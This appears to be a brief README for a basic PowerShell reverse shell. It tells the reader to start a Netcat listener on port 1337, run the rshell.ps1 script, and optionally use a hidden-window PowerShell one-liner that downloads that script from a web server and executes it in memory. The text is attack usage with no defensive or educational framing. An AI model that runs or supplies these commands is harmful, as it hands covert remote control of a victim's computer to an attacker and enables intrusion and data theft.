Basic PowerShell reverse shell

1. Use "nc -lp 1337" to Start a Netcat listener on port defined in rshell file
2. Execute "rshell.ps1", optionally use: powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://mywebsite.com/rshell.ps1');" to download & execute reverse shell from a server